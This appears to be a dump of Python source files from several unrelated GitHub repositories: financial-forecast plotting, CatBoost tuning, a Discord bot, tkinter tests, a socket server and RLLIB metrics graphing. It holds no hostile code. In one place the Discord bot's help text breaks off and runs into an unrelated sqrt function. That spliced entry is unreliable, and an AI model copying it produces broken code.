items.\")\n console.print(\"[red]Expected list of 3 axis items./n[/red]\")\n return\n (_, ax2, ax3) = external_axes\n\n ax2.plot(\n df_future.index,\n df_future,\n color=theme.up_color,\n linestyle=\"--\",\n )\n ax2.plot(df_pred.index, df_pred, color=theme.down_color, marker=\"o\")\n ax2.plot(\n [values.index[-1], df_future.index[0]],\n [\n values.values[-1],\n df_future.values[0],\n ],\n color=theme.up_color,\n linestyle=\"--\",\n )\n ax2.plot(\n [values.index[-1], df_pred.index[0]],\n [values.values[-1], df_pred.values[0]],\n color=theme.down_color,\n linestyle=\"--\",\n marker=\"o\",\n )\n ax2.set_title(\"BACKTESTING: Real data vs Prediction\", fontsize=12)\n ax2.set_xlim(values.index[-1], df_pred.index[-1])\n ax2.set_ylabel(\"Value\")\n ax2.legend([\"Real data\", \"Prediction data\"])\n\n ax3.axhline(y=0, linestyle=\"--\", color=theme.up_color)\n ax3.plot(\n df_future.index,\n 100 * (df_pred.values - df_future.values) / df_future.values,\n color=theme.down_color,\n marker=\"o\",\n )\n ax3.set_title(\n \"BACKTESTING: Error between Real data and Prediction [%]\", fontsize=12\n )\n ax3.plot(\n [values.index[-1], df_future.index[0]],\n [\n 0,\n 100 * (df_pred.values[0] - df_future.values[0]) / df_future.values[0],\n ],\n linestyle=\"--\",\n color=theme.down_color,\n )\n ax3.set_xlim(values.index[-1], df_pred.index[-1])\n ax3.set_xlabel(\"Time\")\n ax3.set_ylabel(\"Error (%)\")\n ax3.legend([\"Real data\", \"Prediction data\"])\n\n theme.style_primary_axis(ax2)\n theme.style_primary_axis(ax3)\n\n if external_axes is None:\n theme.visualize_output()\n\n # Refactor prediction dataframe for backtesting print\n df_pred.name = \"Prediction\"\n df_pred = df_pred.to_frame()\n df_pred[\"Real\"] = df_future\n\n if rich_config.USE_COLOR:\n\n patch_pandas_text_adjustment()\n\n console.print(\"Time Real [$] x Prediction [$]\")\n console.print(\n df_pred.apply(\n lambda_price_prediction_backtesting_color, axis=1\n ).to_string()\n )\n else:\n console.print(df_pred[[\"Real\", \"Prediction\"]].round(2).to_string())\n\n console.print(\"\")\n print_prediction_kpis(df_pred[\"Real\"].values, df_pred[\"Prediction\"].values)\n\n else:\n # Print prediction data\n print_pretty_prediction(df_pred, values.values[-1])\n console.print(\"\")\n","repo_name":"rohankumardubey/OpenBBTerminal","sub_path":"openbb_terminal/common/prediction_techniques/regression_view.py","file_name":"regression_view.py","file_ext":"py","file_size_in_byte":8276,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"42854143087","text":"import pandas as pd\nimport numpy as np\nimport xgboost as xg\nfrom sklearn.model_selection import RandomizedSearchCV, GridSearchCV\nfrom catboost import CatBoostClassifier\nfrom threadpoolctl import threadpool_limits\nfrom tornado.process import task_id\n\ndata = pd.read_csv('../../data/no_price_feature_selected/RandomUnderSampler.csv')\nhead = 'click_timestamp,nb_clicks_1week,audience_id,product_brand,product_category3,product_category4,product_category5,product_category6,product_country,product_id,partner_id'.split(\n ',')\nprint(head)\n\nX = data.loc[:, head]\ny = data['Sales']\n\nX = X.to_numpy()\ny = y.to_numpy()\nX[np.isnan(X)] = 0\n\nhouse_dmatrix = xg.DMatrix(data=X, label=y)\n\nbase_params = {\n 'depth': [4, 5, 6, 7, 8, 9, 10],\n 'learning_rate': [0.01, 0.02, 0.03, 0.04],\n 'n_estimators': np.arange(50, 100, 10),\n 'subsample': np.arange(0.5, 0.801, 0.1)\n}\n\nparam_random_gb = {\n 'n_estimators': np.arange(100, 130, 5),\n 'max_depth': [7],\n 'learning_rate': np.arange(0.01, 0.03, 0.005),\n 'reg_lambda': np.arange(3.5, 5.0, 0.5),\n 'scale_pos_weight': np.arange(25.0, 30.0, 1.0),\n 'border_count': np.arange(115, 130, 5),\n}\ngb = CatBoostClassifier(loss_function='Logloss', eval_metric='Logloss', leaf_estimation_method='Newton',\n grow_policy='SymmetricTree', task_type='GPU')\nprint(gb)\n\nparams = {\n 'iterations': [1600],\n 'l2_leaf_reg': [2],\n 'subsample': [0.6],\n 'depth': [11],\n 'border_count': [200],\n 'score_function': ['L2', 'Cosine']\n}\n\nsearch = RandomizedSearchCV(estimator=gb, param_distributions=params, n_iter=5,\n scoring=['recall', 'balanced_accuracy'], cv=2, verbose=100, n_jobs=-1, refit='recall')\n# search = GridSearchCV(estimator=gb, param_grid=params, n_jobs=-1, scoring=['recall', 'balanced_accuracy'], cv=2, verbose=100, refit='recall')\n\nsearch.fit(X, y)\nprint()\nprint(search.best_estimator_)\nprint(search.best_score_)\nprint(\"Best parameter: \", search.best_params_)\n","repo_name":"Zerkles/SRUDA","sub_path":"src/model_builder/opt_cat.py","file_name":"opt_cat.py","file_ext":"py","file_size_in_byte":1975,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"71099437843","text":"import os\nfrom dotenv import load_dotenv\n\nimport discord\nimport logging\nfrom discord.ext import commands as cmd\n\nimport datetime, time\n\nclass Basic(cmd.Cog):\n def __init__(self, bot):\n self.bot = bot\n \n @cmd.Cog.listener()\n async def on_ready(self):\n print(f'{self} has been loaded') \n global startTime \n startTime = time.time()\n\n @cmd.command()\n async def ping(self, interaction: discord.Interaction):\n server = interaction.guild\n await interaction.send(\"Ping statistics for server: {} \\n\"\n \"Ping: {}ms\".format(server, round(self.bot.latency * 1000)))\n\n @cmd.command()\n async def uptime(self, interaction: discord.Interaction):\n uptime = str(datetime.timedelta(seconds=int(round(time.time()-startTime))))\n await interaction.send(uptime)\n\n @cmd.command()\n async def help(self, interaction: discord.Interaction):\n await interaction.send(\"```Witaj! \\n\"\n \"Komendy: \\n\"\n \" epsilon:\n x_current = x_next\n x_next = 0.5 * (x_current + num/x_current)\n\n return x_next\n\nassert(abs(sqrt(10) - 3.16227766017) < 0.000001)\nassert(abs(sqrt(9) - 3.0) < 0.000001)\n","repo_name":"liquidmetal/algorithms","sub_path":"python/problems/sqrt/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"70471280721","text":"def main():\n n,p=list(map(int,input().split()))\n inp=[]\n for i in range(n):\n a,b,c=list(map(int,input().split()))\n temp=[a,b,c,c/b]\n inp.append(temp)\n inp.sort(key=lambda x: x[3],reverse=True)\n ans=0\n for item in inp:\n num=p//item[1]\n if num<=item[0]:\n ans+=num*item[2]\n p-=num*item[1]\n else:\n ans+=item[0]*item[2]\n p-=item[0]*item[1]\n print(ans)\nmain()","repo_name":"JAYqq/Interview-Preparation","sub_path":"Data Structure&Algorithm/meeting/jingdong/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15044498144","text":"from tkinter import *\r\n\r\nroot = Tk()\r\nroot.title(\"TOP\")\r\n\r\nf2 = Frame(root, bg=\"blue\")\r\nf2.pack(fill=X)\r\nex = Entry(f2, width=50, bg =\"red\", fg=\"white\", borderwidth=5)\r\nex.pack()\r\n\r\ne=Entry(f2, width=50)\r\ne.pack()\r\ne.insert(0, \"name: \")\r\ne.delete(3, END)\r\nl = Label(root)\r\n\r\n\"\"\"\r\ndef delite():\r\n l.pack_forget()\r\n\"\"\"\r\nprint(l.winfo_exists())\r\ndef lolo(lettr):\r\n global l\r\n l.destroy()\r\n hello = e.get()\r\n l= Label(f2, text=hello+lettr)\r\n l.pack()\r\n\r\nb = Button(f2, text=\"Submit\", command=lambda: lolo(\"f\"))\r\nb.pack(pady=10)\r\n\r\n\"\"\"\r\nb2 = Button(f2, text=\"Delite\", command=delite)\r\nb2.pack(pady=10)\r\n\"\"\"\r\nbd = Button(f2, text=\"not da\")\r\nbd.pack(pady=10)\r\nbd['state']= DISABLED\r\n\r\n\r\n\r\n\r\n\r\nlol= Frame(root)\r\nlol.pack()\r\n\r\n\r\nstatus = Label(lol , text=\"tel\",relief= SUNKEN)\r\nstatus2 = Label(lol , text=\"let\", relief= SUNKEN)\r\nst3 = Label(lol, text=\"lach\", relief=SUNKEN)\r\n\r\nstatus2.grid(row=1, column=0)\r\n\r\nstatus.grid(row=0, column=1)\r\n\r\nst3.grid(row=3, columnspan=2, sticky=E+W)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nroot.mainloop()","repo_name":"Enricone27/Random-Projekte","sub_path":"Python/tkinter tests/next tuts.py","file_name":"next tuts.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"8095926955","text":"import sys\nimport select\nimport socket\nimport multiprocessing\nfrom threading import Thread\nfrom queue import Queue, Empty\n\nclass Client():\n \"\"\"\n Client class\n \"\"\"\n def __init__(self, handlerFunc=None):\n \"\"\"\n Constructor\n \"\"\"\n self._server = None\n self._port = None\n self._client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self._readfds = [self._client]\n self._handler_func = handlerFunc\n\n def get_socket(self):\n \"\"\"\n Return client socket descriptor\n \"\"\"\n return self._client\n\n def connect(self, server, port):\n \"\"\"\n Connect to the server\n \"\"\"\n self._server = server\n self._port = port\n self._client.connect((self._server, self._port))\n self._readfds = [self._client]\n\n def send(self, msg):\n \"\"\"\n Send data to the server\n \"\"\"\n self._client.send(msg)\n\n def recv(self, numbytes):\n \"\"\"\n Receive data from the server\n \"\"\"\n return self._client.recv(numbytes)\n\n def client_thread(self):\n \"\"\"\n Client thread of execution\n \"\"\"\n #while True:\n # readable, writable, errored = select.select(self._readfds, [], [])\n\n def close(self):\n \"\"\"\n Close client connection to the server\n \"\"\"\n self._client.close()\n\n\nclass Server():\n \"\"\"\n Server Class\n \"\"\"\n def __init__(self,\n port,\n host=socket.gethostname(),\n maxclients=5,\n validate_func=None,\n timeout=None,\n verbose=False,\n useprocess=False,\n enablesend=True,\n ):\n \"\"\"\n Constructor\n \"\"\"\n self._host = host\n self._port = port\n self._maxclients = maxclients\n self._verbose = verbose\n self._exit = False\n self._enablesend = enablesend\n\n self._clients = []\n self._clientthreads = {}\n self._useprocess = useprocess\n if useprocess:\n self._serverthread = multiprocessing.Process(target=self.server_thread)\n else:\n self._serverthread = Thread(target=self.server_thread)\n self._serverthread.daemon = True\n\n #self._serverthread.daemon = True\n self._timeout = timeout\n\n self._server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self._server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n #self._server.setblocking(0)\n self._server.bind((self._host, self._port))\n\n self._readfds = []\n self._writefds = []\n self._validate_func = validate_func\n\n self._message_queues = {}\n\n self._sendinprogress = False\n\n def enable_send(self, ena):\n \"\"\"\n Enable/disable sending to clients\n \"\"\"\n self._enablesend = ena\n\n def send_to_all_clients(self, data):\n \"\"\"\n Send data to all connected clients\n \"\"\"\n if self._enablesend:\n\n for cli in self._clients:\n\n if self._sendinprogress is False:\n\n self._message_queues[cli].put_nowait(data)\n if cli not in self._writefds:\n self._writefds.append(cli)\n #print('Port %d: Add client to writefds'%(self._port))\n\n else:\n print('Port %d: SEND is BUSY'%(self._port))\n #if c not in self._writefds:\n # self._writefds.append(c)\n # print('Add client to writefds')\n else:\n print('** NOTE Gui server channel is disabled., port=%d'%(self._port))\n\n def has_clients(self):\n \"\"\"\n Returns TRUE if there are connected clients\n \"\"\"\n ret = False\n if len(self._clients) > 0:\n ret = True\n\n return ret\n\n def _exit_requested(self):\n \"\"\"\n Handle exit flag\n \"\"\"\n if self._verbose:\n print(\"Port %d: Exiting server: server=%s, port=%s\"\\\n %(self._port, self._host, self._port))\n\n for cli in self._clients:\n\n self._readfds.remove(cli)\n\n if cli in self._writefds:\n self._writefds.remove(cli)\n print(\"Port %d: Removed client from writefs\"%(self._port))\n\n print(\"Port %d: Removed client from list\"%(self._port))\n cli.close()\n self._message_queues[cli].put(None)\n\n def _accept_client_connections(self, srvr):\n \"\"\"\n Accept client connections\n \"\"\"\n if srvr is self._server:\n clientsock, _ = self._server.accept()\n #clientsock.setblocking(0)\n self._readfds.append(clientsock) # Add client socket into readfds list\n self._clients.append(clientsock) # Add client socket into list of clients\n ### Create a queue for each client\n self._message_queues[clientsock] = Queue()\n if self._verbose:\n print(\"Port %d: Received new client connection\"%(self._port))\n\n def _close_client(self, cli):\n \"\"\"\n Handle close client connection\n \"\"\"\n self._readfds.remove(cli)\n if cli in self._writefds:\n self._writefds.remove(cli)\n print(\"Port %d: Removed client from writefs\"%(self._port))\n self._clients.remove(cli)\n print(\"Port %d: Removed client from list\"%(self._port))\n cli.close()\n del self._message_queues[cli]\n print('Port %d: Closed client socket'%(self._port))\n\n def _handle_client_data(self, sock_r, cli):\n\n client_had_data = False\n\n data = None\n\n if sock_r is cli: ### Is the socket that has activity one of the clients???\n client_had_data = True\n\n data = cli.recv(1024)\n ### Client socket CLOSED\n if not data:\n\n self._close_client(cli)\n\n else:\n #print('Received from client: %s'%(data))\n #self._message_queues[c].put(data)\n #if c not in self._writefds:\n # self._writefds.append(c)\n # print('Add client to writefds')\n pass\n\n return client_had_data, data\n\n def server_thread(self):\n \"\"\"\n Server execution loop\n \"\"\"\n if self._verbose:\n print('Starting server thread: host=%s, port=%d'%(self._host, self._port))\n\n self._server.listen(self._maxclients)\n\n if self._exit:\n return\n\n self._readfds.append(self._server)\n\n while True:\n try:\n ### Select: Detect activity in the server and client sockets\n readable,\\\n writable,\\\n errored = select.select(self._readfds, self._writefds, [], self._timeout)\n if not (readable or writable or errored):\n ### Timeout\n if self._exit:\n\n self._exit_requested()\n\n break\n\n continue\n\n for srvr in readable:\n\n self._accept_client_connections(srvr)\n\n\n ######################################\n ### Check if clients sent anything\n ######################################\n for cli in self._clients:\n\n for sock_r in readable:\n\n # At the moment we don't do anything with client data\n client_had_data, _ = self._handle_client_data(sock_r, cli)\n if client_had_data:\n continue\n\n for sock_w in writable: ### If sockets available tor writting\n\n if sock_w is cli: ### Is the socket that has activity one of the clients???\n try:\n next_msg = self._message_queues[cli].get_nowait()\n if next_msg is None:\n print('next_msg is None')\n continue\n except Empty:\n #print('Queue is EMPTY')\n self._writefds.remove(cli)\n\n else:\n self._sendinprogress = True\n msglen = len(next_msg)\n\n totallen = 0\n #start_time = time.time()\n while totallen < msglen:\n ret = cli.send(next_msg[totallen:])\n totallen += ret\n\n #print('Port %d Sendall time: %d bytes; %f sec'\\\n # %(self._port, totallen, time.time()-start_time),\\\n # time.time(), datetime.datetime.now())\n #self._writefds.remove(c)\n self._sendinprogress = False\n\n except Exception as err:\n\n exc_type, _, exc_tb = sys.exc_info()\n print(\"Exception received: %s\"%(repr(err)), exc_type, exc_tb.tb_lineno)\n self._sendinprogress = False\n\n print('Server Threaded Exit.')\n self._server.close()\n\n def start(self):\n \"\"\"\n Start the server thread\n \"\"\"\n self._serverthread.start()\n\n def exit(self):\n \"\"\"\n Exit the server thread\n \"\"\"\n print('Closing server')\n self._exit = True\n self._server.close()\n\nif __name__ == \"__main__\":\n SERVER = Server(8888, socket.gethostname(), verbose=True)\n\n SERVER.start()\n","repo_name":"dhm-org/dhm_suite","sub_path":"dhmsw/dhmsw/server_client.py","file_name":"server_client.py","file_ext":"py","file_size_in_byte":9839,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"} +{"seq_id":"43797916213","text":"dial = {'ABC': 3, 'DEF': 4, 'GHI': 5, 'JKL': 6, 'MNO': 7,\n 'PQRS': 8, 'TUV': 9, 'WXYZ': 10}\nword = list(input())\ntime = 0\n\nfor a in dial:\n for w in word:\n if w in a:\n time += dial[a]\n\nprint(time)","repo_name":"KDT-02-Algorithm-Study/Algorithm-Study","sub_path":"week02_230119/5622_다이얼/5622_최수현.py","file_name":"5622_최수현.py","file_ext":"py","file_size_in_byte":223,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"18478995999","text":"import re\n\nlocations = input()\npattern = r'([=/])([A-Z][A-Za-z]{2,})\\1'\n\ndestinations = re.finditer(pattern, locations)\nfinal_destination = []\n\nfor destination in destinations:\n final_destination.append(destination.group(2))\ntotal_travel_points = 0\nfor travel_point in final_destination:\n total_travel_points += len(travel_point)\nitterary = \", \".join(final_destination)\nprint(f\"Destinations: {itterary}\")\nprint(f\"Travel Points: {total_travel_points}\")\n","repo_name":"RadoslavTs/SoftUni-Courses","sub_path":"2. Python Fundamentals/10. Final Exam Preparation - 1/02. destination_mapper.py","file_name":"02. destination_mapper.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37974719813","text":"import time\nimport math\nfrom dataclasses import dataclass\nfrom typing import Any\n\nimport mlca.helpers.debug\n\nimport colored_traceback\ncolored_traceback.add_hook()\n\nclass Profiler:\n def __init__(self, logger, print_enabled=True):\n self.logger = logger\n self.print_enabled = print_enabled\n self.reset(-1, False)\n\n def print(self, *s):\n if self.print_enabled:\n print(*s)\n\n def reset(self, i_episode, log=True):\n if log:\n self.tick(i_episode, \"reset\")\n self.print(\n \"--------------------------- Time since last reset: \",\n (time.time() - self.last_reset),\n )\n\n self.s = time.time()\n self.last_reset = time.time()\n\n def tick(self, i_episode, name):\n if self.logger and i_episode:\n self.logger.add_scalar(\n \"Profiler: \" + name, time.time() - self.s, i_episode,\n )\n\n self.print(\"---\", name, time.time() - self.s)\n self.s = time.time()\n\nclass Logger():\n def __init__(self, tensorboard_writer):\n self.tensorboard_writer = tensorboard_writer\n \n # Data for averaging values on a single i_episode\n self.current_i_episode = {}\n self.current_sum = {}\n self.current_count = {}\n\n def add_scalar(self, name, value, i_episode, average=False):\n if self.tensorboard_writer is not None:\n if average:\n # Average values on the current timestep. While on that timestep, keep updating\n # our counter. If the timestep changes, compute and save the average. When the \n # logger is destroyed, do the same in __del__.\n # This reduces the amount we're spamming tensorboard, and also gives us nicer numbers.\n if self.current_i_episode.get(name, -1) == i_episode:\n self.current_sum[name] += value\n self.current_count[name] += 1\n else:\n assert self.current_i_episode.get(name, -1) < i_episode, \\\n f\"You're logging {name} on an earlier episode than the current one! {value} {i_episode} {self.current_i_episode.get(name, None)}\"\n\n if self.current_count.get(name, 0) > 0: \n self.tensorboard_writer.add_scalar(\n name, \n self.current_sum[name] / self.current_count[name],\n self.current_i_episode[name])\n\n self.current_i_episode[name] = i_episode\n self.current_sum[name] = value\n self.current_count[name] = 1\n\n else:\n assert self.current_i_episode.get(name, -1) < i_episode, \\\n f\"You're logging {name} multiple times per episode! {value} {i_episode} {self.current_i_episode.get(name, None)}\"\n\n self.tensorboard_writer.add_scalar(name, value, i_episode)\n self.current_i_episode[name] = i_episode\n\n def __del__(self):\n # Store the averaged counts from the last timestep\n for name in self.current_count:\n if self.current_count[name] > 0:\n self.tensorboard_writer.add_scalar(\n name,\n self.current_sum[name] / self.current_count[name],\n self.current_i_episode[name])\n\n@dataclass\nclass InMemoryLoggerAverageStats:\n # TODO\n name: Any\n sums: Any\n counts: Any\n\nclass InMemoryLogger():\n # Note this does something totally different than Logger\n def __init__(self):\n self.sums = {}\n self.counts = {}\n\n def add_scalar(self, name, value, i_episode):\n if name not in self.sums:\n self.sums[name] = 0\n self.counts[name] = 0\n self.sums[name] += value\n self.counts[name] += 1\n\n\n def print_avg_stats(self):\n self._print_avg_stats(self.counts, self.sums)\n\n @staticmethod\n def _print_avg_stats(counts, sums):\n print(\"------\")\n if len(counts) == 0:\n print(\"No stats to print\")\n return \n min_count = min(counts.values())\n for name in counts:\n avg_time = str(sums[name] / counts[name]).ljust(30)\n times = str(math.ceil(counts[name] / min_count)).ljust(6)\n total_time = sums[name] / min_count\n print(f\"{name.ljust(70)}: {avg_time} x{times} {total_time}\")\n\n @staticmethod\n def combine_avg_stats(counts_list, sums_list):\n counts = {}\n sums = {}\n for c, s in zip(counts_list, sums_list):\n for name in c:\n if name not in sums:\n sums[name] = 0\n counts[name] = 0\n sums[name] += s[name]\n counts[name] += c[name]\n return counts, sums\n\n def avg_stats(self) -> InMemoryLoggerAverageStats:\n return InMemoryLoggerAverageStats({\n name: self.sums[name] / self.counts[name]\n for name \n in self.sums\n }, self.sums, self.counts)\n","repo_name":"mfranzs/meta-learning-curiosity-algorithms","sub_path":"helpers/debug.py","file_name":"debug.py","file_ext":"py","file_size_in_byte":4581,"program_lang":"python","lang":"en","doc_type":"code","stars":78,"dataset":"github-code","pt":"3"} +{"seq_id":"33054029318","text":"#!/usr/bin/env python3\n\n\"\"\" Process the RLLIB metrics_XYZ.json \"\"\"\n\nimport argparse\nimport collections\nimport cProfile\nimport io\nimport json\nimport logging\nimport os\nimport pstats\nimport random\nimport sys\nfrom pprint import pformat, pprint\n\nimport matplotlib\nimport matplotlib.image as mpimg\nfrom matplotlib.offsetbox import OffsetImage, AnnotationBbox\nimport matplotlib.patches as mpatches\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport shapely.geometry as geometry\nfrom tqdm import tqdm\n\nfrom genericgraphmaker import GenericGraphMaker\n\n# \"\"\" Import SUMO library \"\"\"\nif 'SUMO_HOME' in os.environ:\n sys.path.append(os.path.join(os.environ['SUMO_HOME'], 'tools'))\n import sumolib\nelse:\n sys.exit(\"please declare environment variable 'SUMO_HOME'\")\n\n####################################################################################################\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\n\nrandom.seed()\n\n####################################################################################################\n\nSMALL_SIZE = 20\nMEDIUM_SIZE = SMALL_SIZE + 4\nBIGGER_SIZE = MEDIUM_SIZE + 4\n\nplt.rc('font', size=SMALL_SIZE) # controls default text sizes\nplt.rc('axes', titlesize=SMALL_SIZE) # fontsize of the axes title\nplt.rc('axes', labelsize=MEDIUM_SIZE) # fontsize of the x and y labels\nplt.rc('xtick', labelsize=SMALL_SIZE) # fontsize of the tick labels\nplt.rc('ytick', labelsize=SMALL_SIZE) # fontsize of the tick labels\nplt.rc('legend', fontsize=SMALL_SIZE) # legend fontsize\nplt.rc('figure', titlesize=BIGGER_SIZE) # fontsize of the figure title\n\n####################################################################################################\n\ndef _argument_parser():\n \"\"\" Argument parser for the stats parser. \"\"\"\n parser = argparse.ArgumentParser(description='RLLIB & SUMO Statistics parser.')\n parser.add_argument(\n '--input-dir', required=True, type=str, help='Input JSONs directory.')\n parser.add_argument(\n '--output-dir', default='stats', help='Output aggregation & graphs directory.')\n parser.add_argument(\n '--profiler', dest='profiler', action='store_true', help='Enable cProfile.')\n parser.set_defaults(profiler=False)\n return parser.parse_args()\n\ndef _main():\n \"\"\" Process the RLLIB logs/result.json \"\"\"\n\n config = _argument_parser()\n\n ## ======================== PROFILER ======================== ##\n if config.profiler:\n profiler = cProfile.Profile()\n profiler.enable()\n ## ======================== PROFILER ======================== ##\n\n Policy(config.input_dir, config.output_dir).generate()\n logging.info('Done')\n\n ## ======================== PROFILER ======================== ##\n if config.profiler:\n profiler.disable()\n results = io.StringIO()\n pstats.Stats(profiler, stream=results).sort_stats('cumulative').print_stats(50)\n logging.info('Profiler: \\n%s', pformat(results.getvalue()))\n print('Profiler: \\n%s', results.getvalue())\n ## ======================== PROFILER ======================== ##\n\n####################################################################################################\n\nclass Policy(GenericGraphMaker):\n \"\"\" Process a SINGLE RLLIB logs/result.json file as a time series. \"\"\"\n\n def __init__(self, input_dir, output_dir):\n _default = collections.defaultdict(dict)\n super().__init__(\n input_dir, output_dir,\n filename='policies.json',\n default=_default)\n self._action_to_mode = {\n 0: 'wait',\n 1: 'passenger',\n 2: 'public',\n 3: 'walk',\n 4: 'bicycle',\n 5: 'ptw',\n 6: 'on-demand',\n }\n self._mode_to_color = {\n 'wait': 'black',\n 'passenger': 'red',\n 'public': 'green',\n 'walk': 'orange',\n 'bicycle': 'blue',\n 'ptw': 'purple',\n 'on-demand': 'grey',\n }\n\n def _find_last_metric(self):\n return len(self._aggregated_dataset)\n\n def _aggregate_metrics(self, files):\n for filename in tqdm(files):\n with open(os.path.join(self._input_dir, filename), 'r') as jsonfile:\n complete = json.load(jsonfile)\n\n if 'action-to-mode' in complete['config']['env_config']['agent_init']:\n action_to_mode = \\\n complete['config']['env_config']['agent_init']['action-to-mode']\n else:\n action_to_mode = self._action_to_mode.copy()\n\n training_iteration = int(complete['training_iteration'])\n expected_arrival_s = complete['config']['env_config']['agent_init'][\n 'expected-arrival-time'][0]\n slots_m = complete['config']['env_config']['agent_init']['arrival-slots-min']\n\n ## LEARNING\n info_by_episode = complete['hist_stats']['info_by_agent']\n last_action_by_agent = complete['hist_stats']['last_action_by_agent']\n # rewards_by_agent = complete['hist_stats']['rewards_by_agent']\n pos = random.randrange(len(info_by_episode))\n episode = info_by_episode[pos]\n\n learning = {\n 'action-to-mode': action_to_mode,\n 'expected_arrival_s': expected_arrival_s,\n 'slots_m': slots_m,\n 'agents_num': len(episode),\n 'agents': list(),\n }\n\n mode_usage = collections.defaultdict(int)\n on_time = 0\n too_late = 0\n too_early = 0\n missing = 0\n for agent, info in episode.items():\n mode_usage[last_action_by_agent[pos][agent]] += 1\n if np.isnan(info['arrival']):\n missing += 1\n else:\n tmp = {\n 'id': int(agent.split('_')[1]),\n 'start': info['init']['start']/3600,\n 'mode': last_action_by_agent[pos][agent],\n 'arrival': info['arrival']/3600.0,\n 'departure': info['departure']/3600.0,\n }\n learning['agents'].append(tmp)\n if info['arrival'] > expected_arrival_s:\n too_late += 1\n elif info['arrival'] > (expected_arrival_s - slots_m * 60):\n on_time += 1\n else:\n too_early += 1\n\n learning['mode_usage'] = mode_usage\n learning['on_time'] = on_time\n learning['too_late'] = too_late\n learning['too_early'] = too_early\n learning['missing'] = missing\n self._aggregated_dataset[training_iteration] = {\n 'learning': learning,\n }\n\n # EVALUATION\n if 'evaluation' in complete:\n complete = complete['evaluation']\n info_by_episode = complete['hist_stats']['info_by_agent']\n last_action_by_agent = complete['hist_stats']['last_action_by_agent']\n # rewards_by_agent = complete['hist_stats']['rewards_by_agent']\n pos = random.randrange(len(info_by_episode))\n episode = info_by_episode[pos]\n\n evaluation = {\n 'action-to-mode': action_to_mode,\n 'expected_arrival_s': expected_arrival_s,\n 'slots_m': slots_m,\n 'agents_num': len(episode),\n 'agents': list(),\n }\n\n mode_usage = collections.defaultdict(int)\n on_time = 0\n too_late = 0\n too_early = 0\n missing = 0\n for agent, info in episode.items():\n mode_usage[last_action_by_agent[pos][agent]] += 1\n if np.isnan(info['arrival']):\n missing += 1\n else:\n tmp = {\n 'id': int(agent.split('_')[1]),\n 'start': info['init']['start']/3600,\n 'mode': last_action_by_agent[pos][agent],\n 'arrival': info['arrival']/3600.0,\n 'departure': info['departure']/3600.0,\n }\n evaluation['agents'].append(tmp)\n if info['arrival'] > expected_arrival_s:\n too_late += 1\n elif info['arrival'] > (expected_arrival_s - slots_m * 60):\n on_time += 1\n else:\n too_early += 1\n\n evaluation['mode_usage'] = mode_usage\n evaluation['on_time'] = on_time\n evaluation['too_late'] = too_late\n evaluation['too_early'] = too_early\n evaluation['missing'] = missing\n self._aggregated_dataset[training_iteration]['evaluation'] = evaluation\n\n def _perc(self, num, agents):\n return round(num / agents * 100.0, 1)\n\n def _generate_graphs(self):\n already_plotted = []\n for filename in os.listdir(self._output_dir):\n if 'svg' in filename:\n already_plotted.append(filename)\n\n for missing_plot in tqdm(range(len(already_plotted)+1, len(self._aggregated_dataset)+1)):\n ################################################################\n ## Setup the images\n ################################################################\n\n fig, axs = plt.subplots(1, 2, figsize=(25, 15), constrained_layout=True)\n fig.suptitle('Policy for training run {}'.format(missing_plot))\n\n # ################################################################\n\n current = self._aggregated_dataset[missing_plot]['learning']\n self._action_to_mode = {}\n for _action, _mode in current['action-to-mode'].items():\n self._action_to_mode[int(_action)] = _mode\n self._action_to_mode[0] = 'wait'\n\n # ############ LEARNIN\n axs[0].bar(current['expected_arrival_s']/3600, current['agents_num'],\n width=0.05, color='r', align='center')\n axs[0].bar((current['expected_arrival_s'] - current['slots_m'] * 60) / 3600,\n current['agents_num'], width=0.02, color='g', align='center')\n axs[0].set_xlim(6.0, 10.0)\n axs[0].set_ylim(-1, current['agents_num']+1)\n axs[0].set_xlabel('Time [h]')\n axs[0].set_ylabel('Agents [#]')\n\n for agent in current['agents']:\n y = [agent['id'], agent['id']]\n axs[0].plot(\n [agent['start'], agent['departure']], y, color='black', alpha=0.5)\n axs[0].plot(\n [agent['departure'], agent['arrival']], y,\n color=self._mode_to_color[self._action_to_mode[agent['mode']]], alpha=0.9)\n\n title = 'Learning \\n'\n title += 'early {} - on time {} - late {} - missing {} \\n'.format(\n current['too_early'], current['on_time'], current['too_late'], current['missing'])\n title += 'early {}% - on time {}% - late {}% - missing {}% \\n'.format(\n self._perc(current['too_early'], current['agents_num']),\n self._perc(current['on_time'], current['agents_num']),\n self._perc(current['too_late'], current['agents_num']),\n self._perc(current['missing'], current['agents_num']))\n axs[0].set_title(title)\n labels = []\n for action in sorted(self._action_to_mode):\n color = self._mode_to_color[self._action_to_mode[action]]\n label = '{} \\n({}%)'.format(\n self._action_to_mode[action],\n self._perc(current['mode_usage'][action], current['agents_num']))\n labels.append(mpatches.Patch(color=color, label=label))\n axs[0].legend(handles=labels, loc='upper left')\n\n ############ EVALUATION\n if 'evaluation' in self._aggregated_dataset[missing_plot]:\n current = self._aggregated_dataset[missing_plot]['evaluation']\n\n axs[1].bar(current['expected_arrival_s']/3600, current['agents_num'],\n width=0.05, color='r', align='center')\n axs[1].bar((current['expected_arrival_s'] - current['slots_m'] * 60) / 3600,\n current['agents_num'], width=0.02, color='g', align='center')\n axs[1].set_xlim(6.0, 10.0)\n 